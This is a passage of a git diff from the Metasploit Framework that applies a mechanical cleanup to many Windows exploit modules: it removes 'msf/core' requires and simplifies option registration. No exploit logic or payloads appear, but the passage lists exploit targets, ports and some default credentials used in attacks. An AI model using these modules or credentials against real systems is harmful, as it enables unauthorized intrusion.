OptString.new('TARGETPATH', [ false, 'The target output.', 'C:\\']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb index 97067e3539..d7f0a2b47d 100644 --- a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb +++ b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb index c2d91d9795..d31d08257b 100644 --- a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb +++ b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'exploit_zinf.pls']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/firewall/blackice_pam_icq.rb b/modules/exploits/windows/firewall/blackice_pam_icq.rb index af6d02d283..2e6264897b 100644 --- a/modules/exploits/windows/firewall/blackice_pam_icq.rb +++ b/modules/exploits/windows/firewall/blackice_pam_icq.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(1) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/firewall/kerio_auth.rb b/modules/exploits/windows/firewall/kerio_auth.rb index 3bcb0cf970..9cc177f694 100644 --- a/modules/exploits/windows/firewall/kerio_auth.rb +++ b/modules/exploits/windows/firewall/kerio_auth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(44334) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb index f4e9760d84..e5f1d806fa 100644 --- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb +++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/ability_server_stor.rb b/modules/exploits/windows/ftp/ability_server_stor.rb index 13a3d851d9..49a66211ca 100644 --- a/modules/exploits/windows/ftp/ability_server_stor.rb +++ b/modules/exploits/windows/ftp/ability_server_stor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(21), OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]), OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb index 7eb93075e6..674ba26a55 100644 --- a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb +++ b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index ffff7db5ed..d6f0bd553e 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/ftp/cesarftp_mkd.rb b/modules/exploits/windows/ftp/cesarftp_mkd.rb index 68622d600e..d4e9ea1b82 100644 --- a/modules/exploits/windows/ftp/cesarftp_mkd.rb +++ b/modules/exploits/windows/ftp/cesarftp_mkd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb index 207d0f486d..57880b62c5 100644 --- a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb +++ b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(21), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/ftp/dreamftp_format.rb b/modules/exploits/windows/ftp/dreamftp_format.rb index e0a1ab643f..70fafb95d0 100644 --- a/modules/exploits/windows/ftp/dreamftp_format.rb +++ b/modules/exploits/windows/ftp/dreamftp_format.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(21), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/ftp/easyfilesharing_pass.rb b/modules/exploits/windows/ftp/easyfilesharing_pass.rb index 1e4f688b9b..b576bf3aa7 100644 --- a/modules/exploits/windows/ftp/easyfilesharing_pass.rb +++ b/modules/exploits/windows/ftp/easyfilesharing_pass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb index 2ced587670..a6a1653528 100644 --- a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/ftp/easyftp_list_fixret.rb b/modules/exploits/windows/ftp/easyftp_list_fixret.rb index 67dce18c44..e487db140e 100644 --- a/modules/exploits/windows/ftp/easyftp_list_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_list_fixret.rb @@ -12,8 +12,6 @@ # MFR & VAS TEAM : just testing howto convert exploits to metasploit modules. ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb index fef06a6196..e7504ff1bd 100644 --- a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/ftp/filecopa_list_overflow.rb b/modules/exploits/windows/ftp/filecopa_list_overflow.rb index dbbe479d36..9e0fa590e2 100644 --- a/modules/exploits/windows/ftp/filecopa_list_overflow.rb +++ b/modules/exploits/windows/ftp/filecopa_list_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/freefloatftp_user.rb b/modules/exploits/windows/ftp/freefloatftp_user.rb index 1a21d31d2b..7a8a24ac13 100644 --- a/modules/exploits/windows/ftp/freefloatftp_user.rb +++ b/modules/exploits/windows/ftp/freefloatftp_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/ftp/freefloatftp_wbem.rb b/modules/exploits/windows/ftp/freefloatftp_wbem.rb index 31e7f97f65..872e5ff330 100644 --- a/modules/exploits/windows/ftp/freefloatftp_wbem.rb +++ b/modules/exploits/windows/ftp/freefloatftp_wbem.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ # Change the default description so this option makes sense OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080]) - ], self.class) + ]) deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password end diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index 15638bd5ee..e9f1570096 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]), - ], self.class) + ]) # We're triggering the bug via the PASS command, no point to have pass as configurable # option. diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb index dfd218bd16..86c5d26d11 100644 --- a/modules/exploits/windows/ftp/freeftpd_user.rb +++ b/modules/exploits/windows/ftp/freeftpd_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/globalscapeftp_input.rb b/modules/exploits/windows/ftp/globalscapeftp_input.rb index 57bb580aac..06ce210b5a 100644 --- a/modules/exploits/windows/ftp/globalscapeftp_input.rb +++ b/modules/exploits/windows/ftp/globalscapeftp_input.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb index 390c85c097..b49d1449de 100644 --- a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb +++ b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/httpdx_tolog_format.rb b/modules/exploits/windows/ftp/httpdx_tolog_format.rb index 4afa3776fd..009cbe8884 100644 --- a/modules/exploits/windows/ftp/httpdx_tolog_format.rb +++ b/modules/exploits/windows/ftp/httpdx_tolog_format.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -118,7 +116,7 @@ For now, that will have to be done manually. # note the default user/pass OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']), OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123']) - ], self.class ) + ]) end diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index bf75081bac..337b522f87 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb index a0be93b3b8..5ded114664 100644 --- a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb +++ b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]), OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]), - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb index a9cf6d302a..46ebc5d63f 100644 --- a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb +++ b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Aug 31 2009', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(21),], self.class) + register_options([Opt::RPORT(21),]) end diff --git a/modules/exploits/windows/ftp/netterm_netftpd_user.rb b/modules/exploits/windows/ftp/netterm_netftpd_user.rb index df8a083f4a..f7535a9ce9 100644 --- a/modules/exploits/windows/ftp/netterm_netftpd_user.rb +++ b/modules/exploits/windows/ftp/netterm_netftpd_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index 92f731b177..a0f2481751 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('PATH', [true, 'The local Windows path', "C:/WINDOWS/"]), OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080]) - ], self.class) + ]) deregister_options('FTPUSER', 'FTPPASS') # Using authentication bypass end diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb index 592bad109b..ed513018f3 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Aug 18 2003', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(2100),], self.class) + register_options([Opt::RPORT(2100),]) deregister_options('FTPUSER', 'FTPPASS') end diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb index aa1c8cb6d8..fee77e10d7 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(2100), OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'DBSNMP']), OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'DBSNMP']), - ], self.class ) + ]) end def check diff --git a/modules/exploits/windows/ftp/pcman_put.rb b/modules/exploits/windows/ftp/pcman_put.rb index 0379c0c577..049bb07434 100644 --- a/modules/exploits/windows/ftp/pcman_put.rb +++ b/modules/exploits/windows/ftp/pcman_put.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/ftp/pcman_stor.rb b/modules/exploits/windows/ftp/pcman_stor.rb index 9ec9e76e93..c10bd68901 100644 --- a/modules/exploits/windows/ftp/pcman_stor.rb +++ b/modules/exploits/windows/ftp/pcman_stor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/ftp/proftp_banner.rb b/modules/exploits/windows/ftp/proftp_banner.rb index c5565db2f1..fe3ef637d9 100644 --- a/modules/exploits/windows/ftp/proftp_banner.rb +++ b/modules/exploits/windows/ftp/proftp_banner.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]), - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb index 343134c41c..82975b088c 100644 --- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb +++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote [ # Change the default description so this option makes sense OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/ftp/ricoh_dl_bof.rb b/modules/exploits/windows/ftp/ricoh_dl_bof.rb index 0d36500d61..01b9ea9fa2 100644 --- a/modules/exploits/windows/ftp/ricoh_dl_bof.rb +++ b/modules/exploits/windows/ftp/ricoh_dl_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/ftp/sami_ftpd_list.rb b/modules/exploits/windows/ftp/sami_ftpd_list.rb index ffc7d788f1..668a5e579b 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_list.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_list.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptAddress.new('SOURCEIP', [false, 'The local client address']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/ftp/sami_ftpd_user.rb b/modules/exploits/windows/ftp/sami_ftpd_user.rb index 6f204555fd..aceac93b3e 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_user.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -66,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(21), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/ftp/sasser_ftpd_port.rb b/modules/exploits/windows/ftp/sasser_ftpd_port.rb index 42d0bf5062..a3be6a869f 100644 --- a/modules/exploits/windows/ftp/sasser_ftpd_port.rb +++ b/modules/exploits/windows/ftp/sasser_ftpd_port.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5554), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/ftp/scriptftp_list.rb b/modules/exploits/windows/ftp/scriptftp_list.rb index 13c7fdf422..9dd5c28969 100644 --- a/modules/exploits/windows/ftp/scriptftp_list.rb +++ b/modules/exploits/windows/ftp/scriptftp_list.rb @@ -65,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ftp']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/ftp/servu_chmod.rb b/modules/exploits/windows/ftp/servu_chmod.rb index 6d5bcdc0ca..78fe8ea7dd 100644 --- a/modules/exploits/windows/ftp/servu_chmod.rb +++ b/modules/exploits/windows/ftp/servu_chmod.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb index eb547b3b9a..cb107ff786 100644 --- a/modules/exploits/windows/ftp/servu_mdtm.rb +++ b/modules/exploits/windows/ftp/servu_mdtm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -74,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]), OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]), - ], self.class) + ]) end diff --git a/modules/exploits/windows/ftp/slimftpd_list_concat.rb b/modules/exploits/windows/ftp/slimftpd_list_concat.rb index 5be79c2078..17d1b1f6e3 100644 --- a/modules/exploits/windows/ftp/slimftpd_list_concat.rb +++ b/modules/exploits/windows/ftp/slimftpd_list_concat.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/ftp/trellian_client_pasv.rb b/modules/exploits/windows/ftp/trellian_client_pasv.rb index 0ed324112a..a70937ae9b 100644 --- a/modules/exploits/windows/ftp/trellian_client_pasv.rb +++ b/modules/exploits/windows/ftp/trellian_client_pasv.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]), - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/ftp/turboftp_port.rb b/modules/exploits/windows/ftp/turboftp_port.rb index 57a026c205..81e8153a86 100644 --- a/modules/exploits/windows/ftp/turboftp_port.rb +++ b/modules/exploits/windows/ftp/turboftp_port.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb index 18fc0971bb..9a4d7033c4 100644 --- a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb +++ b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -90,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(21), - ], self.class ) + ]) end diff --git a/modules/exploits/windows/ftp/warftpd_165_pass.rb b/modules/exploits/windows/ftp/warftpd_165_pass.rb index 7c797946c4..7a1886e304 100644 --- a/modules/exploits/windows/ftp/warftpd_165_pass.rb +++ b/modules/exploits/windows/ftp/warftpd_165_pass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/warftpd_165_user.rb b/modules/exploits/windows/ftp/warftpd_165_user.rb index 4337793eac..215b2c3cda 100644 --- a/modules/exploits/windows/ftp/warftpd_165_user.rb +++ b/modules/exploits/windows/ftp/warftpd_165_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/wftpd_size.rb b/modules/exploits/windows/ftp/wftpd_size.rb index 109c13a220..2d45a51abd 100644 --- a/modules/exploits/windows/ftp/wftpd_size.rb +++ b/modules/exploits/windows/ftp/wftpd_size.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb index e333456c17..315c6878ee 100644 --- a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb +++ b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb @@ -3,9 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb index 4ecd12e46f..44386886b3 100644 --- a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb +++ b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb index e73dc1f1e4..b72f062e28 100644 --- a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb +++ b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ftp/xftp_client_pwd.rb b/modules/exploits/windows/ftp/xftp_client_pwd.rb index 56db38b8d8..413a344fc8 100644 --- a/modules/exploits/windows/ftp/xftp_client_pwd.rb +++ b/modules/exploits/windows/ftp/xftp_client_pwd.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]), OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]), - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/ftp/xlink_client.rb b/modules/exploits/windows/ftp/xlink_client.rb index fac246c6f9..19ad19f835 100644 --- a/modules/exploits/windows/ftp/xlink_client.rb +++ b/modules/exploits/windows/ftp/xlink_client.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]), - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/ftp/xlink_server.rb b/modules/exploits/windows/ftp/xlink_server.rb index 89ce3fd299..38eb9130af 100644 --- a/modules/exploits/windows/ftp/xlink_server.rb +++ b/modules/exploits/windows/ftp/xlink_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/games/mohaa_getinfo.rb b/modules/exploits/windows/games/mohaa_getinfo.rb index 6589171d8d..49ca90bcbc 100644 --- a/modules/exploits/windows/games/mohaa_getinfo.rb +++ b/modules/exploits/windows/games/mohaa_getinfo.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(12203) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/games/racer_503beta5.rb b/modules/exploits/windows/games/racer_503beta5.rb index 5a4354bc73..22bbb22979 100644 --- a/modules/exploits/windows/games/racer_503beta5.rb +++ b/modules/exploits/windows/games/racer_503beta5.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote 